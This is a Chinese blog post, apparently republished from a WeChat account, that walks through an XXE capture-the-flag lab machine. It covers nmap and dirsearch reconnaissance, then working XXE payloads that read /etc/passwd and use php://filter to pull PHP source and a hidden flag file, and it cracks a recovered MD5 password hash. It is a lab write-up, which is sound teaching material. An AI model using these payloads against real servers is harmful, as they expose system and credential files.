前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >XXE靶机攻防实践

XXE靶机攻防实践

作者头像
Al1ex
发布2024-03-12 08:52:26
710
发布2024-03-12 08:52:26
举报
文章被收录于专栏:网络安全攻防网络安全攻防
靶机介绍

Haboob团队根据https://www.exploit-db.com/docs/45374发表的论文"XML外部实体注入-解释和利用"制作了这个虚拟机以利用私有网络中的漏洞,我们希望你喜欢这个挑战!

靶机攻防
攻击主机

这里我们使用Kali linux和Windows 11作为本次攻击主机:

信息收集

由于靶机和攻击者主机Kali处于同一网段,所以我们进行一次网段扫描探测,最终确定靶机IP地址为192.168.204.138

代码语言:javascript
复制
nmap -sS 192.168.204.135/24

在浏览器中访问靶机的80端口,发现只有一个apache服务启动

随后我们进一步探测目标信息,使用dirsearch进行目录扫描

代码语言:javascript
复制
dirsearch -u http://192.168.204.138

通过上面的目录探测扫描发现robots.txt文件,随后我们在浏览器中进行访问,发现xxe路径以及admin.php

随后我们访问xxe路径:

访问admin.php提示文件不存在

注入测试

随后我们在xxe页面中填写表单进行一个简单的抓包

可以看到这里的请求数据包为XML格式

随后我们在这里进行XXE注入测试,发现存在XXE漏洞

代码语言:javascript
复制
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "file:///etc/passwd">
]>
<root><name>&sp;</name><password>hj</password></root>

随后我们直接读取admin.php文件试试

代码语言:javascript
复制
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
]>
<root><name>&sp;</name><password>hj</password></root>

随后对返回的内容进行base64解码

得到解码的文件内容如下:

代码语言:javascript
复制
<?php
   session_start();
?>


<html lang = "en">
   
   <head>
      <title>admin</title>
      <link href = "css/bootstrap.min.css" rel = "stylesheet">
      
      <style>
         body {
            padding-top: 40px;
            padding-bottom: 40px;
            background-color: #ADABAB;
         }
         
         .form-signin {
            max-width: 330px;
            padding: 15px;
            margin: 0 auto;
            color: #017572;
         }
         
         .form-signin .form-signin-heading,
         .form-signin .checkbox {
            margin-bottom: 10px;
         }
         
         .form-signin .checkbox {
            font-weight: normal;
         }
         
         .form-signin .form-control {
            position: relative;
            height: auto;
            -webkit-box-sizing: border-box;
            -moz-box-sizing: border-box;
            box-sizing: border-box;
            padding: 10px;
            font-size: 16px;
         }
         
         .form-signin .form-control:focus {
            z-index: 2;
         }
         
         .form-signin input[type="email"] {
            margin-bottom: -1px;
            border-bottom-right-radius: 0;
            border-bottom-left-radius: 0;
            border-color:#017572;
         }
         
         .form-signin input[type="password"] {
            margin-bottom: 10px;
            border-top-left-radius: 0;
            border-top-right-radius: 0;
            border-color:#017572;
         }
         
         h2{
            text-align: center;
            color: #017572;
         }
</style>
      
   </head>
  
   <body>
      
      <h2>Enter Username and Password</h2> 
      <div class = "container form-signin">
         
         <?php
            $msg = '';
            if (isset($_POST['login']) && !empty($_POST['username']) 
               && !empty($_POST['password'])) {
        
               if ($_POST['username'] == 'administhebest' && 
                  md5($_POST['password']) == 'e6e061838856bf47e1de730719fb2609') {
                  $_SESSION['valid'] = true;
                  $_SESSION['timeout'] = time();
                  $_SESSION['username'] = 'administhebest';
                  
                echo "You have entered valid use name and password <br />";
    $flag = "Here is the <a style='color:FF0000;' href='/flagmeout.php'>Flag</a>";
    echo $flag;
               }else {
                  $msg = 'Maybe Later';
               }
            }
         ?>
      </div> <!-- W00t/W00t -->
      
      <div class = "container">
      
         <form class = "form-signin" role = "form" 
            action = "<?php echo htmlspecialchars($_SERVER['PHP_SELF']); 
            ?>" method = "post">
            <h4 class = "form-signin-heading"><?php echo $msg; ?></h4>
            <input type = "text" class = "form-control" 
               name = "username" 
               required autofocus></br>
            <input type = "password" class = "form-control"
               name = "password" required>
            <button class = "btn btn-lg btn-primary btn-block" type = "submit" 
               name = "login">Login</button>
         </form>
      
         Click here to clean <a href = "adminlog.php" tite = "Logout">Session.
         
      </div> 
      
   </body>
</html>

通过对上面的源代码进行分析我们可以得到用户名:administhebest,密码:e6e061838856bf47e1de730719fb2609,随后对密码进行MD5解密,得到明文密码:admin@123

登录系统

在获取到用户名和密码之后我们登录系统,结果发现提示"Sorry, this administhebest not available"

此时心凉了一半,随后我们发现在xxe后面拼接admin.php后会直接跳转到一个登录页面,随后我们使用上述账户密码进行登录操作:

随后出现一个flag的提示:

此时我们直接点击会跳转到flagmeout.php页面中去

提取Flag

随后我们和之前一样的操作来读取flagmeout.php源码文件:

代码语言:javascript
复制
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=flagmeout.php">
]>
<root><name>&sp;</name><password>hj</password></root>

随后再次进行base64解码操作:

随后使用base32对上述代码进行解密操作:

https://simplycalc.com/base32-decode.php

再进行一次base64解码操作:

随后我们知道了flag再/etc/.flag.php文件中,下面我们就是去读取该文件获取对应的flag数据信息了

代码语言:javascript
复制
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/.flag.php">
]>
<root><name>&sp;</name><password>hj</password></root>

随后再次进行base64解码得到一大串数据信息

随后保存以上解码后的文件并以php进行运行(需要低版本的PHP,建议PHP5),得到flag:SAFCSP{xxe_is_so_easy}

文末小结

本篇文章以XXE靶机为例对XXE漏洞的发现、漏洞的利用进行了详细的介绍~

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2024-03-09,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 七芒星实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 靶机介绍
  • 靶机攻防
    • 攻击主机
      • 信息收集
        • 注入测试
          • 登录系统
            • 提取Flag
            • 文末小结
            相关产品与服务
            私有网络
            私有网络(Virtual Private Cloud,VPC)是基于腾讯云构建的专属云上网络空间,为您在腾讯云上的资源提供网络服务,不同私有网络间完全逻辑隔离。作为您在云上的专属网络空间,您可以通过软件定义网络的方式管理您的私有网络 VPC,实现 IP 地址、子网、路由表、网络 ACL 、流日志等功能的配置管理。私有网络还支持多种方式连接 Internet,如弹性 IP 、NAT 网关等。同时,您也可以通过 VPN 连接或专线接入连通腾讯云与您本地的数据中心,灵活构建混合云。
            领券
            问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档